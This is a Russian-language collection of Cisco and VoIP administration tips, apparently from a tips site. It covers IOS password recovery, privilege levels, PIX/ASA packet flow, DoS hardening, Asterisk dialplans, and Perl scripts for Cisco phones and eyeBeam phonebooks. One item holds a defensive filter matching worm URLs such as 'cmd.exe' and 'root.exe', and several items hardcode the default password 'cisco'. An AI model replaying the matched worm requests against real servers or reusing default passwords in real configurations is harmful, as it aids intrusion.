    10. В конце процесса загрузки нажать n, чтобы начать процесс установки.
    
    11. Набрать enable для входа в привилегированный режим, набрать команду rename
    flash:config.old config.text.
    
    12. Набрать команды: configure terminal, no enable secret (для сброса пароля,
    если он был установлен), enable password cisco (устанавливаем новый пароль cisco).
    
    13. Нажать Ctrl+Z, набрать команду write memory для сохранения параметров.
    
    Таким образом вся операция заняла минут 15-20, из них больше половины времени
    пришлось на уговоры HyperTerminal
    
     
    ----* Заведение пользователя в Cisco IOS, умеющего менять Access List'ы.   Автор: Andrew KOlchoogin  [комментарии]
     
    В заметке представлен набор конфигурационных команд 'privilege' в Cisco IOS,
    создающих пользователя, который мог бы менять Access List'ы на Cisco, не
    являясь на ней администратором.
    
    Пользователь имеет уровень привилегий 8 - просто так, число такое в голову пришло.
    
       !
       username remote privilege 8 secret 5 ****
       !
       privilege exec level 8 configure terminal
       privilege configure level 8 ip access-list extended
       privilege configure level 8 ip access-list standard
       privilege ipenacl all level 8 deny
       privilege ipenacl all level 8 permit
       privilege ipenacl all level 8 no deny
       privilege ipenacl all level 8 no permit
       !
    
    Ввиду особенностей работы "разделялки привилегий" на Cisco IOS в конфигурации будет следующее:
    
       !
       username remote privilege 8 secret 5 ****
       !
       privilege ipenacl all level 8 deny
       privilege ipenacl all level 8 permit
       privilege ipenacl all level 8 no deny
       privilege ipenacl all level 8 no permit
       privilege ipenacl level 8 no
       privilege configure level 8 ip access-list extended
       privilege configure level 8 ip access-list standard
       privilege configure level 8 ip access-list
       privilege configure level 8 ip
       privilege exec level 8 configure terminal
       privilege exec level 8 configure
       !
      
    
     
    ----* Принципы работы PIX/ASA firewall (доп. ссылка 1)   Автор: Misha Volodko  [комментарии]
     Часто firewall представляется неким черным ящиком который просто фильтрует проходящие пакеты. Данная заметка поможет понять, что именно происходит при фильтрации и в какой последовательности.

    Что происходит с пакетом попадающим внутрь PIX/ASA firewall, по каким параметрам принимается решение пропускать пакет дальше или нет?

    Прежде всего, замечу, что минимальными требованиями к пакету являются:

    • настроенная трансляция адресов между интерфейсами. Конечно, это требование можно отключить с помощью команды no nat-control, однако поведение по умолчанию именно такое;
    • политика доступа (access-list) разрешающая доступ.

    Минимальные условия это конечно здорово, но жизнь была бы слишком скучна, правда? :)

    Попробуем разобраться, что происходит на каждом шаге. К сожалению я не нашел подобной информации на сайте производителя. Зато под рукой оказалась замечательная книга "Cisco ASA PIX and FWSM Handbook" из которой и почерпнута это информация.

    1. Initial Checking

    Базовые проверки на целостность пакета, допустимые опции и прочее. Именно на этом этапе проводится проверка Reverse Path Forwarding про которую я уже рассказывал.

    Отмечу, что RPF будет полноценно работать только в случае спуфинга адресов между интерфейсами. В классическом случае outside - ASA - inside спуфинг на outside интерфейсе определить он не сможет.

    2. Xlate lookup (outbound)

    Именно сейчас проверяется одно из минимальных условий - трансляция адресов между интерфейсами. Совершенно неважно будет это статическая трансляция one to one или динамическая с применением overload.

    Сначала firewall попытается найти уже существующую трансляцию (можно посмотреть по show xlate), в случае неудачи пытается создать, если конечно политика это предусматривает.

    Этот шаг происходит на разных этапах в случае входящего/исходящего соединения. Проверка осуществляется на втором шаге в случае исходящего соединения. Этому есть логичное объясниение - адрес источника будет переписан и именно он должен фигурировать в дальнейших проверках (acl).

    Повторюсь. Это поведение можно выключить используя no nat-control. Однако, до версии прошивки 7.1 этого сделать было нельзя.

    Также именно здесь firewall проверяет такие параметры как:

    • лимиты на количество активных соединений;
    • лимиты на количество полу-открытых соединений (embryonic);
    • таймауты на соединение.

    3. Connection lookup

    Поскольку firewall у нас "умный" и знает, что такое stateful фильтрация, ему необходимо когда-то проверять состояние соединения. Почему бы не на этом этапе? :)

    Литературы по stateful фильтрации достаточно, описывать еще раз не буду.

    4. ACL lookup

    Именно на этом этапе происходит что-то знакомое. Как видно из названия проверяется политика доступа - поиск соответствующего access-list

    По умолчанию никаких acl не применено. Трафик разрешен с более безопасного интерфейса на менее безопасный. Уровень безопасности определяется значением security level.

    5. Xlate lookup (inbound)

    Происходит та же проверка, что и на шаге 2. Но только для входящего трафика.

    6. Uauth lookup

    В случае если firewall используется как cut-through authentication proxy на этом шаге проверяются логин/пароль пользователя для его аутентификации.

    Если это не первое соединение инициируемое пользователем проверяется таймер аутентификации.

    7. Inspection

    На последнем шаге осуществляется инспекция протокола. Конкретные действия выполняемые в этом случае очень сильно зависят от инспектируемого протокола.

    Про самые интересные постараюсь рассказать в следующих заметках.

     
    ----* Защита маршрутизатора Cisco от DoS атак. (доп. ссылка 1)   [обсудить]
     
    Резюме статьи http://www.informit.com/articles/article.asp?p=345618
    Диагностика:
        Оценка загрузки CPU
           show processes cpu
           show processes cpu history
           sh int switching
    
        Слежения за счетчиками на ACL
           clear access-list counters N
           show access-list N
     
       Сброс статистики срабатываний ACL в syslog:
           access-list 100 deny icmp any any echo reply log-input
    
       Netflow
           interface N
              ip route-cache flow  или ip route-cache distributed 
           ip flow-export IP UDP_port
           show ip cache flow
           Code Red Worms
               show ip cache flow | include 0050 
           Smurf Attacks
               show ip cache flow | include 0000
           clear ip flow stats
    
       TCP SYN Flood Attacks
            access-list 100 tcp permit tcp any any
            ip tcp intercept list 100
            ip tcp intercept mode {intercept | watch}
            ip tcp intercept watch-timeout {seconds}
            ip tcp intercept finrst-timeout {seconds}
            ip tcp intercept connection-timeout {seconds}
            ip tcp intercept max-incomplete high {N}
            ip tcp intercept max-incomplete low {N}
            ip tcp intercept drop-mode {oldest | random}
            show tcp intercept statistics
            show tcp intercept connections 
            debug ip tcp intercept
    
    Защита:
       Cisco Express Forwarding (CEF) Switching:
           scheduler interval Num_of_milliseconds
           scheduler allocate Num_of_milliseconds_of_interrupts Num_of_milliseconds_of_no_interrupts
       
       TCP SYN Flood Attacks
            Синтаксис
            access-list N tcp permit tcp any any
            ip tcp intercept list N
            ip tcp intercept mode {intercept | watch}
            ip tcp intercept watch-timeout {seconds}
            ip tcp intercept finrst-timeout {seconds}
            ip tcp intercept connection-timeout {seconds}
            ip tcp intercept max-incomplete high {N}
            ip tcp intercept max-incomplete low {N}
            ip tcp intercept drop-mode {oldest | random}
            show tcp intercept statistics
            show tcp intercept connections 
            debug ip tcp intercept
    
           Пример:
           access-list 100 tcp permit tcp any host 192.1.1.1 eq 80
           access-list 100 tcp permit tcp any host 192.1.1.2 eq 25
           ip tcp intercept list 100
           ip tcp intercept mode watch
           ip tcp intercept watch-timeout 20
           ip tcp intercept connection-timeout 120
           ip tcp intercept max-incomplete high 600
           ip tcp intercept min-incomplete low 500
           ip tcp intercept one-minute high 800
           ip tcp intercept one-minute low 600
    
       CBAC (Context-Based Access Control) и DoS атаки
          Синтаксис:
           ip inspect tcp synwait-time {seconds}
           ip inspect tcp finwait-time {seconds}
           ip inspect tcp idle-time {seconds}
           ip inspect udp idle-time {seconds}
           ip inspect dns-timeout {seconds}
           ip inspect max-incomplete high {number}
           ip inspect max-incomplete low {number}
           ip inspect one-minute high {number}
           ip inspect one-minute low {number}
           ip inspect tcp max-incomplete host {number} block-time {minutes}
    
           Пример:
           ip inspect tcp synwait-time 20
           ip inspect tcp idle-time 60
           ip inspect udp idle-time 20
           ip inspect max-incomplete high 400
           ip inspect max-incomplete low 300
           ip inspect one-minute high 600
           ip inspect one-minute low 500
           ip inspect tcp max-incomplete host 300 block-time 0
    
       Rate Limit:
           interface N
               no ip unreachables
    
           ip icmp rate-limit unreachable [df] {milliseconds}
           Например: ip icmp rate-limit unreachable 1000
    
           interface N
               rate-limit {input | output} [access-group [rate-limit] acl-index] {bps} {burst_normal}
                              {burst_max} conform-action {action} exceed-action {action}
           Пример 1:
           interface serial0  
               rate-limit output access-group 100 64000 4000 4000  conform-action transmit exceed-action drop
          access-list 100 permit icmp any any echo
          access-list 100 permit icmp any any echo-reply
         
          Пример 2:
          access-list 100 permit tcp any host eq www established
          access-list 101 permit tcp any host eq www
          interface serial0
              rate-limit output access-group 100 1544000 64000 64000
                             conform-action transmit exceed-action drop
              rate-limit output access-group 101 64000 16000 16000
                             conform-action transmit exceed-action drop 
    
       Мелочи:
           no ip directed-broadcast
           no service tcp-small-servers 
           no service udp small-servers
    
     
    ----* Как привязать ACL в Cisco к промежутку времени.   [обсудить]
     
    time-range night-time                     
       periodic weekdays 0:00 to 8:00                                                  
    ip access-list extended night-limit
       permit ip any 192.168.1.140 0.0.0.3 time-range night-time
     
    
     
    ----* Как на Cisco отфильтровать вирусы по содержанию пакетов. (доп. ссылка 1)   [комментарии]
     
    ip cef
    class-map match-any http-hacks
       match protocol http url "*default.ida*"
       match protocol http url "*x.ida*"
       match protocol http url "*cmd.exe*"
       match protocol http url "*root.exe*"
    policy-map mark-inbound-http-hacks
       Router(config-pmap)#class http-hacks
       Router(config-pmap)#set ip dscp 1
    access-list 101 deny ip any any dscp 1 log
    access-list 101 permit ip any any
    Внешний интерфейс:
    interface Ethernet1/0
        service-policy input mark-inbound-http-hacks
    Внутренний интерфейс:
    interface Ethernet1/1
         ip access-group 105 out
    Проверка:
    show policy-map interface e1/0
    
     
    ----* Как включить доступ на Cisco через ssh (доп. ссылка 1)   [комментарии]
     
    hostname имя_хоста
    ip domain-name доменное_имя
    crypto key generate rsa
    ip ssh time-out 120
    ip ssh authentication-retries 3
    line vty 0 4 
      transport input telnet ssh 
    !
    show crypto key mypubkey rsa
    
     
    ----* Какие команды IOS использовать на Cisco для защиты от некоторых DoS атак ?   [обсудить]
     
      no ip source-route
      no cdp run
      no ip unreachables
      no ip proxy-arp
      no ip redirects
      no ip directed-broadcast  - Защита от Smurf атак
    Настроить Anti-spoofing ACL.
    
     
    ----* Как правильно на Cisco заблокировать ping хостов в моей сети.   [комментарии]
     
    ip access-list extended e1-in
      ! Allow fragmentation needed messages (type 3 code 4)
       permit icmp any 192.168.0.0 0.0.255.255 packet-too-big
      ! Allow outbound ping and MS style traceroute (type 0)
       permit icmp any 192.168.0.0 0.0.255.255 echo-reply
      ! Uncomment to allow ping to the inside net (type 8)
      ! permit icmp any 192.168.0.0 0.0.255.255 echo
      ! Uncomment to allow traceroute
      ! permit icmp any 192.168.0.0 0.0.255.255 ttl-exceeded
    
     
    ----* Как установить пароль для доступа на Cisco   [комментарии]
     
    Установка шифрованного пароля для входа в привелегированный режим:
         enable secret <пароль>
    Установка пароля для доступа с консоли:    
         (config)#line console 0
         (config-line)#login
         (config-line)#password [пароль]
    Установка пароля для входа через telnet:
         (config)#line vty 0 4
         (config-line)#login
         (config-line)#password [пароль]
    
     

       VoIP

    ----* Запуск Linux Skype 4.0.0.8 под управлением FreeBSD (доп. ссылка 1)   [комментарии]
     
    Как известно порт net/skype уже несколько лет не обновлялся, а предлагаемая
    в порте версия Skype 2.1 не позволяет совершать видеовызовы клиентов,
    пользующихся новыми выпусками Skype для Windows. В списке рассылки freebsd-emulation
    опубликована
     инструкция по запуску  Linux-версии  Skype 4.0.0.8 во FreeBSD.
    
    Устанавливаем следующие Linux-библиотеки, которые можно найти в составе порта  emulators/linux_base-c6:
    
       lib/ld-2.12.so
       lib/ld-linux.so.2
       lib/libgcc_s-4.4.6-20110824.so.1
       lib/libgcc_s.so.1
       lib/libdl-2.12.so
       lib/libdl.so.2
       lib/libglib-2.0.so.0
       lib/libglib-2.0.so.0.2200.5
       lib/libc-2.12.so
       lib/libc.so.6
       lib/libpthread-2.12.so
       lib/libpthread.so.0
       usr/lib/libstdc++.so.6
       usr/lib/libstdc++.so.6.0.13
    
    
    В makefile порта emulators/linux_base-c6 комментируем строку:
    
       CONFLICTS=linux_base-gentoo* linux_base-f* linux-glib2-*
    
    и выполняем
     
       make patch
    
    После этого копируем собранные библиотеки в /compat/linux
    Ставим символическую ссылку libtiff.so.3 на libtiff.so.4. 
    
    Замена библиотек, вместо установки порта emulators/linux_base-c6, необходима
    для сохранения совместимости с linux-f10-flashplugin. Если потребности в
    запуске Flash нет, можно просто установить порт emulators/linux_base-c6 без
    ручного копирования.
    
    Устанавливаем переменную compat.linux.osrelease в 2.6.18:
    
       sysctl compat.linux.osrelease=2.6.18
    
    Для обеспечения поддержки видеовызовов заменяем в коде ядра FreeBSD
    заголовочный файл linux_videodev2.h, скопировав новый вариант из порта  multimedia/linux_v4l2wrapper-kmod:
    
            cd /usr/ports/multimedia/linux_v4l2wrapper-kmod
            make patch
            mv -i /sys/compat/linux/linux_videodev2.h{,.bak}
            cp -i work/linux_v4l2/linux_videodev2.h /sys/compat/linux
    
    После этого пересобираем ядро FreeBSD.
    
     
    ----* Набор номера на Cisco IP Phone 7960/7940 из скрипта   Автор: Alex Samorukov  [комментарии]
     
    Решил поделиться скриптом для набора номера на аппаратах Cisco IP Phone
    7960/7940 (возможно, работает и на других с аналогичной прошивкой). Зачем это
    может быть нужно? Я это использую для интеграции с callto:// links и
    интеграцией со своим телефонным справочником. Скрипт работает через telnet, так
    что вы должны включить его на телефоне. Набор номера использует команду test,
    которая служит для эмуляции нажатия кнопок на аппарате. Пауза (с зависимостью
    от длинны номера) требуется для того, чтобы телефон не сходил с ума.
    
    Надеюсь, кому-то это скрипт тоже пригодится.
    
       #!/usr/bin/perl
    
       use Net::Telnet;
       use Time::HiRes;
    
       # cisco phone host name
       my $host='192.168.0.1';
       # cisco phone password
       my $password='cisco';
       # mute on a dial 0/1
       my $mute=0;
    
       my $sleeptime=.2;
       my $prompt='/> $/';
    
       my $argc = @ARGV;
       if ($argc!=1){
           print "Usage: call.pl <number>\\n";
           exit;
       }
       my $number=@ARGV[0];
    
       if($number!~/^[0-9*#]+$/) {
           print "Error: wrong characters in the numer\\n";
           exit 2;
       }
       $telnet = new Net::Telnet ( Timeout=>3, Errmode=>'die');
       # connecting
       $telnet->open($host);
       $telnet->waitfor('/Password :$/i'); 
       $telnet->print($password); 
       $telnet->waitfor($prompt);
       
       $telnet->print('test open');
       $telnet->waitfor($prompt);
       $telnet->print('test key spkr');
       $telnet->waitfor($prompt);Time::HiRes::sleep($sleeptime);
       if($mute){
           $telnet->print('test key mute');
           $telnet->waitfor($prompt);Time::HiRes::sleep($sleeptime);
       }
       $telnet->print("test key ".$number."#");
       $telnet->waitfor($prompt);Time::HiRes::sleep((length($number)+1)*$sleeptime);
       $telnet->print('test close');
       $telnet->waitfor($prompt);
       $telnet->close($host);
    
     
    ----* Телефонная книга Asterisk для eyeBeam 1.x   Автор: desenix  [комментарии]
     
    Итак, есть Asterisk (использовался 1.10 beta) и программный VoIP-телефон
    eyeBeam 1.x, связь с книгой соответственно осуществляется через WebDav. Для
    eyeBeam 1.5.x не подходит, так как другой формат записей и сохранять через
    WebDav он не умеет (видимо писала другая команда).
    
    
    Настройки софтфона:
    
       Server-side Storage:
    	Storage method: WebDAV
    	Use SIP credentials: +
    	Root URL: http://webdav.example.local/webdav/
    	WebDAV pool time: 600
    
    Так как все пользователи будут в одном каталоге, их файлы имеют разные имена,
    теоретически возможна порча одним пользователем, файла телефонной книги другого.
    
    Ещё нам понадобиться Apache с модулем WebDAV, его конфигурация:
    
       <VirtualHost *:80>
           ServerName webdav.example.local
           ServerAdmin webmaster@example.local
           DocumentRoot /server/www/WEBDAV
           ErrorLog "/server/www/WEBDAV/error.log"
    
           <Directory /server/www/WEBDAV/>
               AllowOverride None
               Order deny,allow
               deny from all
           </Directory >
    
           <Directory /server/www/WEBDAV/webdav/>
               Options Indexes MultiViews
               AllowOverride None
               Order allow,deny
               allow from all
           </Directory>
    
           DavLockDB /server/www/WEBDAV/DavLock
           <Location /webdav/>
               DAV on
               AuthType Basic
               AuthName "WebDav"
               AuthUserFile /server/www/WEBDAV/paswd
               Require valid-user
           </Location>
       </VirtualHost>
    
    Создаём директорию /server/www/WEBDAV/webdav/ или в другом месте по желанию,
    назначаем владельцем пользователя из под которого работает Apache. Файл паролей
    создавать не надо, его создаст скрипт, о котором далее.
    
    Создаём там где удобно файл phonebook.pl, его необходимо запускать после
    добавления/удаления пользователя из Asterisk, как это сделать автоматически не
    нашёл, поэтому запускаю руками.
    Скрипт написан немного коряво, так как пишу на Perl время от времени и по справочникам.
    
       #!/usr/bin/perl
       use POSIX;
    
       # путь к файлу пользователей Asterisk (должен существовать)
       $srccfg="/etc/asterisk/users.conf";
       # путь к файлу паролей webdav (создаётся автоматически, перезаписывается)
       $paswdfile="/server/www/WEBDAV/paswd";
       # путь к файлам профилей с телефонными книгами пользователей (создаётся автоматически, перезаписывается)
       $phbookfiles="/server/www/WEBDAV/webdav";
       # домен SIP, используется при генерации телефонных книг
       $sipdomain="example.local";
    
       # суффикс телефонной книги eyeBeam в формате XML, для webdav  (константа, не менять!)
       $phbooksuf="resource-list.xml";
       # суффикс для файла с правилами (константа, не менять!)
       $phrulesuf="presence-rules.xml";
       # путь для временных файлов
       $tmpath="/var/tmp";
       # владелец файлов, от которого выполняется Apache ( автоматически  
       # назначается создаваемым файлам телефонной книги и файлу паролей )
       $apacheuser="apache.apache";
       # приложение для генерации файла паролей.
       $htpasswd="htpasswd";
    
       open(SF, "$srccfg") || die;
    
       $flag=0;
       @number=();
       @name=();
       @pasw=();
       $cnt=0;
       $phonetext="";
       while ($line = <SF>)
            {
            $st = $line=~s/^\[(.*)\].*[\n\r]*/\1/g;
            if($st) { 
                 $flag=1; 
                 $number[$cnt]=$line;  
            }
    
            $st = $line=~s/^fullname\s*=\s*([^\n\r]*)\s.*/\1/g;
            if($st && $flag) { 
                 $name[$cnt]=$line; 
                 $flag=$flag+1;
                 $st = $number[$cnt]=~m/general/g;
                 if($st) { $flag=0; }
            }
    
            $st = $line=~s/^secret\s*=\s*([^\n\r]*)\s.*/\1/g;
            if($st && $flag) { 
                 $pasw[$cnt]=$line; 
                 $flag=$flag+1; 
            }
    
            if($flag>=3){ 
                $flag=0;
                   $phonetext = $phonetext."    \\r\n\      ".$name[$cnt]."\\r                                                                                                                                                              \n\    \r\n";
                    #print("\\                                                                                                                                                              n\r\".$name[$cnt]."\\n\r\\n\r");
        
                    #print "pasword=$pasw[$cnt]\r\n";
    
                    if($cnt==0){ system $htpasswd, "-bc", $paswdfile, $number[$cnt], $pasw[$cnt]; }
                    else{ system $htpasswd, "-b", $paswdfile, $number[$cnt], $pasw[$cnt]; }
                    $cnt=$cnt+1;
                    }
            }
       close(SF);
    
       # chown
       system "chown", $apacheuser, $paswdfile;
    
       $phonemask1="\<display\-name\>PhoneBook\<\/display\-name\>\r\n";
       $phonemask2="\<\/list\>";
       $phonemask = '\<display\-name\>PhoneBook\<\/display\-name\>.*?\<\/list\>';
       $cntt=0;
       while($cntt<$cnt){
          $fphbook=$phbookfiles."/".$number[$cntt].".". $sipdomain.".".$phbooksuf;
          $fphrule=$phbookfiles."/".$number[$cntt].".". $sipdomain.".".$phrulesuf;
          $cntt=$cntt+1;
          if( -e $fphbook){ print "Update: $fphbook\r\n";
             open(SF, "$fphbook") || die "Can't open file read $fphbook";
             @var = <SF>;
             close(SF);
             $var = join('',@var);
             $st = $var =~ s/\<display\-name\>PhoneBook\<\/display\-name\>.+?<\/list>/$phonemask1$phonetext$phonemask2/si;
             print "RES:$st\r\n";
             if($st) {
                    system "chmod", "666",$fphbook;
                    open(SF, ">$fphbook") || die "Can't open file write $fphbook";
                    print SF $var;
                    close(SF);
                    system "chmod", "644",$fphbook;
             }#if
          }else{ # файл не существует, создадим его
               print "Create: $fphbook\r\n";
               open(SF, ">$fphbook") || die;
               print SF  "\\r\n";
               print SF  "\\r\n";
               print SF  "  \\r\n";
               print SF  "    \PhoneBook\\r\n";
               print SF  "$phonetext";
               print SF  "  \\r\n";
               print SF  "  \\r\n";
               print SF  "    \Private\\r\n";
               print SF  "  \\r\n";
               print SF  "  \\r\n";
               print SF  "    \Choose\\r\n";
               print SF  "  \\r\n";
               print SF  "\\r\n";
               close(SF);
               # chown
               system "chown", $apacheuser, $fphbook;
          }
    
          if( ! -e $fphrule){
              print "Create: $fphrule\r\n";
              open(SF, ">$fphrule") || die;
              print SF  "\\r\n";
              print SF  "\\r\n";
              print SF  "\\r\n";
              close(SF);
              # chown
              system "chown", $apacheuser, $fphrule;
          }
    
       #print "$fphbook\r\n";
       }#while 
    
    Нюансы:
    1. Для данного софтфона, книга подгружается и сохраняется сама, по указанному таймауту.
    
    2. В справочнике появляется группа PhoneBook, в ней контакты Asterisk, если
    туда добавить что-то из софтфона, при следующем обновлении будет затёрто.
    Поэтому для иных контактов можно создавать другие группы (прямо в софтфоне) и в
    них добавлять свои контакты. Так для этого специально скриптом создаётся пустая
    группа Personal.
    
    PS: Желающие могут доработать скрипт, например создать отдельно группы
    конференций, служебную (голосовая почта и т.п.)
    
     
    ----* Донабор номера по одной цифре и организация гудка после 8/9 в Asterisk (доп. ссылка 1)   Автор: Alex/AT  [комментарии]
     
    Нижеизложенный пример конфигурации Asterisk позволяет обеспечить вывод гудка
    после набора "8" или "9", как на городском телефоне, и решить проблему со
    временем ожидания вызова (некоторые пользователи не успевают набрать номер, но
    если увеличить задержку, другие жалуются на излишне долгий вызов) через
    организацию донабора номера по одной цифре.
    
    
       [upats]
       ; номера "УПАТС"
       exten => 100,1,Dial(SIP/Local100,,tT)
       exten => 100,n,Congestion()
       exten => 100,n,Hangup()
       exten => 101,1,Dial(SIP/Local101,,tT)
       exten => 101,n,Congestion()
       exten => 101,n,Hangup()
    
       ; экстренные службы
       exten => _0[1-4]!,1,Dial(SIP/external/${EXTEN})
       exten => _0[1-4]!,n,Congestion()
       exten => _0[1-4]!,n,Hangup()
       exten => _112!,1,Dial(SIP/external/${EXTEN})
       exten => _112!,n,Congestion()
       exten => _112!,n,Hangup()
       exten => _911!,1,Dial(SIP/external/${EXTEN})
       exten => _911!,n,Congestion()
       exten => _911!,n,Hangup()
    
       ; набор номера между странами через "810", к сожалению, длина номера произвольная :(, 
       ; и решение на эти номера не сработает - номер придется набирать быстро; 
       ; выход во внешний мир - через "8" на внешнем операторе
       exten => _810X!,1,Dial(SIP/external/8${EXTEN:1},,tT)
       exten => _810X!,n,Congestion()
       exten => _810X!,n,Hangup()
    
       ; набор номера через "8", выход во внешний мир - через "8" на внешнем операторе
       exten => _8NXXXXXXXXX!,1,Dial(SIP/external/8${EXTEN:1},,tT)
       exten => _8NXXXXXXXXX!,n,Congestion()
       exten => _8NXXXXXXXXX!,n,Hangup()
    
       ; набор городского номера через "9", выход на городские номера прямой на внешнем операторе
       exten => _9NXXXXXX!,1,Dial(SIP/external/${EXTEN:1},,tT)
       exten => _9NXXXXXX!,n,Congestion()
       exten => _9NXXXXXX!,n,Hangup()
      
       ; обработка донабора в случае, если абонент ничего вменяемого не набрал
       exten => _X!,1,Set(X_PREDIGITS=${EXTEN})
       exten => _X!,n,Set(X_ORIGCONTEXT=${CONTEXT})
       exten => _X!,n,Set(X_REPEATS=1)
       exten => _X!,n,Goto(more,s,1)
    
       ; а сюда подаем в случае полной засады
       exten => i,1,Congestion()
       exten => i,n,Hangup()
    
       ; а это, собственно, процедура донабора
    
       [more]
       ; проверка прогресса вызова
       exten => s,1,GotoIf($["${X_PROGRESS}" = "1"]?tone)
       exten => s,n,Set(X_PROGRESS=1)
       exten => s,n,Answer()
       exten => s,n(tone),GotoIf($["${X_TONE}" = "2"]?wait)
       exten => s,n,GotoIf($["${X_TONE}" = "1"]?check)
    
       ; нужно проиграть гудок?
       exten => s,n,GotoIf($[${LEN(${X_PREDIGITS})} > 1]?setstop)
       exten => s,n,GotoIf($[$["${X_PREDIGITS:0:1}" != "9"] & $["${X_PREDIGITS:0:1}" != "8"]]?setstop)
    
       ; проигрываем гудок после "8", "9"
       exten => s,n,PlayTones(425/1000)
       exten => s,n,Set(X_TONE=1)
       exten => s,n,Goto(wait)
    
       ; нужен ли еще гудок?
       exten => s,n(check),GotoIf($[${LEN(${X_PREDIGITS})} > 1]?stop)
       exten => s,n,Goto(wait)
    
       ; прекращаем гудеть
       exten => s,n(stop),StopPlayTones()
       exten => s,n(setstop),Set(X_TONE=2)
       exten => s,n,Goto(wait)
    
       ; ждем цифру (5 - интервал, который ждем перед выходом)
       exten => s,n(wait),WaitExten(5)
       exten => _X!,1,Goto(${X_ORIGCONTEXT},${X_PREDIGITS}${EXTEN},1)
       exten => t,1,Set(X_REPEATS=$[${X_REPEATS}-1])
    
       ; не успели?
       exten => t,n,GotoIf($[${X_REPEATS} >= 0]?i,1)
       exten => t,n,Goto(s,1)
    
       ; сброс линии если не успели
       exten => i,1,Congestion()
       exten => i,n,Hangup()
    
     
    ----* Решение проблемы с крахом Linux-клиента Skype (доп. ссылка 1)   [комментарии]
     
    Сегодня многие пользователи Skype отметили падение Skype-клиента для Linux
    при попытке соединения, с последующей невозможностью его повторного запуска.
    Представители Skype признали наличие проблемы и обещали оперативно её устранить.
    
    Эмпирическим путем было выявлено, что проблему можно решить удалив файл
    shared.xml в служебной директории Skype.
    
    Для решения проблемы достаточно выполнить:
       mv ~/.Skype/shared.xml ~/.Skype/shared~.xml
    
     
    ----* VoIP-звонки из web-браузера с использованием siprtmp   Автор: Александр  [комментарии]
     
    Столкнулся с необходимостью внедрить sip-телефон в браузер. На просторах
    Интернета больше всего рассказывают о решении на базе  red5 и red5phone,
    но  оно мне показался слегка монструозным и недостаточно надежным. Скажем так,
    меня не устроило соотношение времени развертывания и требуемых аппаратных
    ресурсов к уровню качества, беспроблемности поддерживания и масштабируемости. К
    тому же наблюдались проблемы при интеграции в веб-проект.
    
    Еще немного поискав в Интернете нашел проект siprtmp. Делает по сути то же
    что и red5, но написан на python и имеет гибкий веб-интерфейс.
    
    По сути веб-интерфейс siprtmp - это небольшое приложение на флеш, управляемое с
    помощью JavaScript или другого языка программирования, посредством вызова
    встроенных функций приложения и обработки событий. Имеет возможность
    встраиваться в другие флеш-приложения.
    
    Запуск сервера производится такими манипуляциями:
    
       svn checkout http://p2p-sip.googlecode.com/svn/trunk/ p2p-sip-read-only
       svn checkout http://rtmplite.googlecode.com/svn/trunk/ rtmplite-read-only
       cd ./rtmplite-read-only
       PYTHONPATH=../p2p-sip-read-only/src:.
       export PYTHONPATH
       python ./siprtmp.py
    
    Может понадобиться указать IP-адрес, который будет указываться при общении с
    вашей ip-pbx, это можно сделать при помощи ключа "-е ip". Для отладки есть ключ -d.
    
    В данной версии велика вероятность проявления ошибки, при которой будет
    невозможно совершать исходящие звонки. Лечится при помощи добавления
    комментария на строку 217 в файле  p2p-sip-read-only/src/std/rfc3261.py. Данная
    ошибка скоро со слов разработчика скоро будет устранена.
    
    При настройке sip-сервера для работы с siprtmp, пользователям, которые будут
    звонить через веб, необходимо разрешить использовать только кодек speex,
    например в Asterisk это делается так:
    
      disallow = all
      allow = speex
    
    На сайте разработчика можно найти пример телефона и подробное описание.
    Думаю значение полей понятно и без описания. Также данное решение может
    использоваться для видео-звонков и конференций. Главное не забудьте разрешить
    флеш-приложению использовать аудио устройства вашего компьютера.
    
    Официальная страница сервера: http://code.google.com/p/siprtmp/
    Официальная страница флеш-клиента: http://code.google.com/p/flash-videoio/
    Еще одна страница флеш-клиента: http://myprojectguide.org/p/flash-videoio/
    
    В данный момент совместно с разработчиком проекта осуществляются попытки
    создать полноценный демон из siprtmp.py и побороть необходимость выполнения
    "export PYTHONPATH=../p2p-sip-read-only/src:.".
    
     
    ----* Организация прямого SIP-соединения компьютеров при помощи GNU SIP Witch (доп. ссылка 1)   [комментарии]
     
    Проект GNU SIP Witch позволяет напрямую связать несколько компьютеров,
    предоставив возможность прямой отправки и приёма SIP-звонков через интернет,
    без использования внешних SIP-сервисов и шлюзов, а также давая возможность
    соединения машин, доступ в сеть которых организован через транслятор адресов
    (NAT). Выступая в роли посредника, GNU SIP Witch может быть установлен как на
    локальной машине, на которой запускается SIP-клиент, так и на сервере, позволяя
    обеспечить работу сразу для нескольких машин в локальной сети. Все операции
    обработки и кодирования медиапотоков осуществляются на стороне SIP-клиента, GNU
    SIP Witch занимается лишь согласованием SIP-соединений, обеспечивает простейшие
    операции проброса канала связи до абонента и маршрутизации вызовов по
    URI-идентификаторам абонентов, что делает программу легковесной и не
    требовательной к ресурсам.
    
    Рассмотрим процесс установки и настройки GNU SIP Witch в Ubuntu Linux для
    организации прямых звонков через интернет, используя такие SIP-клиенты, как
    Twinkle Softphone и SIP Communicator.
    
    Установим GNU SIP Witch, который присутствует в стандартном репозитории Ubuntu и Debian:
    
       sudo apt-get install sipwitch sipwitch-plugin-forward 
    
    автоматически в систему будут установлены библиотеки libexosip2-4, libosip2-4,
    libsipwitch0 и libucommon2.
    
    Конфигурация сервера:
    
    Активируем в настройках плагин forward, если планируем задействовать функции
    для перенаправления соединений для Asterisk или FreeSwitch. В
    /etc/default/sipwitch заменяем
    
       PLUGINS="none"
    
    на 
    
       PLUGINS="forward"
    
    или PLUGINS="auto" для загрузки всех доступных плагинов.
    
    Добавляем себя в группу sipwitch:
    
       sudo usermod -aG sipwitch myname
    
    
    Настройка регистратора SIP Witch
    
    Основная конфигурация SIP Witch находится в файле /etc/sipwitch.conf, в котором
    описны настройки SIP-стека, план нумерации абонентов и маршрутизация.
    
    Наиболее важные настройки в блоке <registry>:
    
    <prefix> - задает дополнительный префикс локальной нумерации абонентов.
    Рассмотрим пример присвоения абонентам трехзначных номеров из диапазона
    100-699. Блок <range> определяет диапазон доступных номеров. Блок <mapped>
    задает максимальное число пользовательских агентов, которые могут быть
    зарегистрированы на сервере.
    
       <prefix>100</prefix>
       <range>600</range>
       <mapped>700</mapped>
    
    Если сервер планируется использовать для осуществления звонков в другие
    SIP-сети, например через задействование Asterisk или FreeSwitch, то следует
    указать параметр <realm>, который определит уникальный идентификатор сервера.
    Для осуществления вызова абонентов Asterisk в качестве realm нужно прописать
    значение, указанное в конфигурации sip.conf Asterisk-сервера, например:
    
       <realm>Asterisk</realm>
    
    иначе, можно указать любой другой идентификатор.
    
    Настройка SIP-стека
    
